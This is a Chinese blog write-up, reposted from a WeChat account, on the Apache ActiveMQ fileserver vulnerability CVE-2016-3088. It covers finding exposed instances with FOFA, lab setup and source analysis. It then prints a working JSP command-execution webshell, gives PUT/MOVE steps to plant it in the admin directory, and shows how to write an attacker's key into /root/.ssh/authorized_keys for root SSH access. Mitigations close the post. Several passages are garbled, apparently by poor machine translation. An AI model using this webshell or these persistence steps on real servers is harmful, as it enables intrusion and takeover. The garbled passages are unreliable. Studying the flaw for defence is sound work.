内网技能储备 CVE-2016-3088
一,简介
措他?至?来ssss ,?这是因为阿帕奇的ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,替换Spring Framework等。是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。
Jetty是一个开源的servlet容器,它是基于Java的web容器,例如JSP和servlet提供运行环境。ActiveMQ5.0及以后版本集成了Jetty。在启动后提供一个监控ActiveMQ的Web应用。
在2016年4月14日,国外安全研究人员西蒙·扎克布劳恩(Simon Zuckerbraun)暴露出Apache ActiveMQ文件服务器存在多个安全漏洞,转化为远程攻击者使用恶意代码替代Web应用,在受到攻击的系统上执行远程代码(CVE-2016-3088 )。
二,突破影响
防御影响版本:Apache ActiveMQ 5.x〜5.14.0
在FOFA上用title和server作为关键字检索,如:title="Apache ActiveMQ" && server="Jetty(8.1.16.v20140903)",筛选出2014年发布的较老版本例如:Apache ActiveMQ 5.11.1。
互联网上老版本ActiveMQ的规模情况,如下图所示:
当我们不限制Apache ActiveMQ版本号,可以看到,互联网上幸存的ActiveMQ数量客观,从这我们基本上可以预测突破爆发后,很多老版本ActiveMQ采取升级或取消来自公网访问等措施。
互联网上各版本版本ActiveMQ计量测绘,如下图所示:
三,环境建设
ActiveMQ 5.7.0发布版本:
http://archive.apache.org/dist/activemq/apache-activemq/5.7.0/apache-activemq-5.7.0-bin.tar.gz
ActiveMQ 5.7.0源码:
http://archive.apache.org/dist/activemq/apache-activemq/5.7.0/activemq-parent-5.7.0-source-release.zip
准备JDK环境:
apache-activemq-5.0.0 1.5.0_12 | 1.5+ |
---|---|
apache-activemq-5.1.0 1.5.0_12 | 1.5+ |
apache-activemq-5.2.0 1.5.0_15 | 1.5+ |
apache-activemq-5.3.0 1.5.0_17 | 1.5+ |
apache-activemq-5.4.0 1.5.0_19 | 1.5+ |
apache-activemq-5.5.0 1.6.0_23 | 1.5+ |
apache-activemq-5.6.0 1.6.0_26 | 1.5+ |
apache-activemq-5.7.0 1.6.0_33 | 1.5+ |
apache-activemq-5.8.0 1.6.0_37 | 1.5+ |
apache-activemq-5.9.0 1.6.0_51 | 1.5+ |
apache-activemq-5.10.0 1.7.0_12-ea | 1.7+ |
apache-activemq-5.11.0 1.7.0_60 | 1.7+ |
apache-activemq-5.12.0 1.7.0_80 | 1.7+ |
apache-activemq-5.13.0 1.7.0_80 | 1.7+ |
apache-activemq-5.14.0 1.7.0_80 | 1.7+ |
apache-activemq-5.15.0 1.8.0_112 | 1.8+ |
启动Apache activemq
cd activeMQ/apache-activemq-5.7.0/bin
./activemq start
检验是否运行
netstat -an | grep 61616
运行成功,执行效果如下图所示:
访问 http://127.0.0.1:8161/,如下图所示:
当烈一个一个很早?
ActiveMQ使用默认密码登录,效果如下图所示:
四,突破原理
ActiveMQ中级的FileServer服务允许用户通过HTTP PUT方法上传文件到指定目录,翻看对应的二进制文件activemq-parent-5.7.0activemq-fileserversrcmainjavaorgapacheactivemqutilRestFilter.java,从后台处理PUT代码段可知,当目录不存在时将报错导致服务器路径偏移,具体代码如下:
line:71-73
private File locateFile(HttpServletRequest request) {// 此处存在安全隐患,当目录不存在时将报错导致 服务器路径泄露
return new File(filterConfig.getServletContext().getRealPath(request.getServletPath()), request.getPathInfo());
}
line:151-171
protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (LOG.isDebugEnabled()) {
LOG.debug("RESTful file access: PUT request for " + request.getRequestURI());
}
if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
return;
}
File file = locateFile(request);// 服务器路径泄露
if (file.exists()) {
boolean success = file.delete(); // replace file if it exists
if (!success) {
response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file existed and could not be deleted
}
}
FileOutputStream out = new FileOutputStream(file);
try {
IOHelper.copyInputStream(request.getInputStream(), out);
} catch (IOException e) {
LOG.warn("Exception occured" , e);
throw e;
} finally {
out.close();
}
response.setStatus(HttpURLConnection.HTTP_NO_CONTENT); // we return no content
翻看处理对应MOVE代码段如下,可看到该方法未对目的路径做任何限制或过滤。
line:103-136
protected void doMove(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (LOG.isDebugEnabled()) {
LOG.debug("RESTful file access: MOVE request for " + request.getRequestURI());
}
if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
return;
}
File file = locateFile(request);
// 此处存在安全隐患,目的路径可由客户端指定。
String destination = request.getHeader(HTTP_HEADER_DESTINATION);
if (destination == null) {
response.sendError(HttpURLConnection.HTTP_BAD_REQUEST, "Destination header not found");
return;
}
try {
URL destinationUrl = new URL(destination);
IOHelper.copyFile(file, new File(destinationUrl.getFile()));
IOHelper.deleteFile(file);
} catch (IOException e) {
response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file could not be moved
return;
}
response.setStatus(HttpURLConnection.HTTP_NO_CONTENT); // we return no content
用户可上传文件到指定目录,该路径定义位于conf/jetty.xml,翻看对应的二进制文件activemq-parent-5.7.0-source-releaseactivemq-parent-5.7.0assemblysrcreleaseconfjetty.xml。
<property name="handler">
<bean id="sec" class="org.eclipse.jetty.server.handler.HandlerCollection">
<property name="handlers">
<list>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/admin" />
<property name="resourceBase" value="${activemq.home}/webapps/admin" />
<property name="logUrlOnStart" value="true" />
</bean>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/demo" />
<property name="resourceBase" value="${activemq.home}/webapps/demo" />
<property name="logUrlOnStart" value="true" />
</bean>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/fileserver" />
<property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
<property name="logUrlOnStart" value="true" />
<property name="parentLoaderPriority" value="true" />
</bean>
<bean class="org.eclipse.jetty.server.handler.ResourceHandler">
<property name="directoriesListed" value="false" />
<property name="welcomeFiles">
<list>
<value>index.html</value>
</list>
</property>
<property name="resourceBase" value="${activemq.home}/webapps/" />
</bean>
<bean id="defaultHandler" class="org.eclipse.jetty.server.handler.DefaultHandler">
<property name="serveIcon" value="false" />
</bean>
</list>
</property>
</bean>
</property>
由此,我们可以构造PUT请求上传webshell到fileserver目录,然后通过Move方法将其移动到有执行权限的admin/目录。
五,攻击思路
通过伪造不存在的二级路径,可报错得到服务器绝对路径原理见上文分析。
发包得到绝对路径,返回204,效果如下图:
旧服务器绝对路径为/home/playground/activeMQ/apache-activemq-5.7.0/webapps/fileserver/yourupload。
根据任意文件上传的手法,我们可以想到多种攻击路径。
1.上传Webshell方式
第一步PUT CMD木马到fileserver目录,木马体文本内容如下:
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
PUT发包上传,执行效果如下图:
访问该CMD木马,http://172.16.33.157:8161/admin/alice.jsp?pwd=023&i=ifconfig
因为fileserver/目录不具有执行权限,故jsp木马将以文本形式解析。
访问该CMD木马,效果如下图所示:
结合前面所知道的服务器绝对路径为/home/playground/activeMQ/apache-activemq-5.7.0/webapps/fileserver/yourupload
,考虑使用MOVE方法将Webshell移入admin /目录(也可利用相对路径)。
移动该CMD木马,效果如下图所示:
再次访问http://172.16.33.157:8161/admin/alice.jsp?pwd=023&i=ifconfig
命令成功执行,如下图所示:
2.上传SSH公钥方式
SSH免密登录可以在遇到文件上传扩展时使用,需要的条件比较多。目标开始了ssh服务,并且存在上传漏洞我们就可以通过上传扩展实现ssh免密登录。
SSH远程连接有两种方式,1。通过账号密码,2。通过公私钥。
我们会产生一对密钥对,分为公钥和私钥。将公钥上传到要登录的服务器,然后通过私钥远程连接服务器可实现免密登录。
生成密钥对命令ssh-keygen -t rsa。
生成密钥对,执行效果如下图所示:
然后上传,移动到/root/.ssh/并重命名为authorized_keys。
发布操作,执行效果如下图所示:
移动到/root/.ssh/,执行效果如下图所示:
XSHELL选中Public Key浏览添加id_rsa文件。
XSHELL添加私钥操作,效果如下图所示:
点击确定,即可成功ssh登录。
SSH登录成功,执行效果如下图所示:
六,突破性防护方案
1,ActiveMQ Fileserver的功能在5.14.0和以后的版本中已被删除。建议用户升级至5.14.0和以后的版本。
2,通过可移除confjetty.xml的以下配置来补充ActiveMQ文件服务器功能。
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/fileserver" />
<property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
<property name="logUrlOnStart" value="true" />
<property name="parentLoaderPriority" value="true" />
</bean>
3,自定义账号密码,避免使用替换密码,有两处密码jetty密码与MQ密码。
<!-- ActiveMQ里内嵌的jetty的安全配置 -->
<!-- 1.conf/jetty.xml 启用密码认证 -->
<property name="authenticate" value="true" />
...
<bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC" />
<property name="roles" value="admin" />
<property name="authenticate" value="true" />
</bean>
<!-- 2.conf/jetty-realm.properties 添加自定义账号密码 -->
# Defines users that can access the web (console, demo, etc.)
# username: password [,rolename ...]
admin: admin, admin
<!-- alicemq.xml 添加访问ActiveMQ的账号密码 -->
<plugins>
<simpleAuthenticationPlugin>
<users>
<authenticationUser username="alice" password="123456" groups="users,admins"/>
</users>
</simpleAuthenticationPlugin>
</plugins>
本文始发于微信公众号(疯猫网络):内网技能储备系列 CVE-2016-3088
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论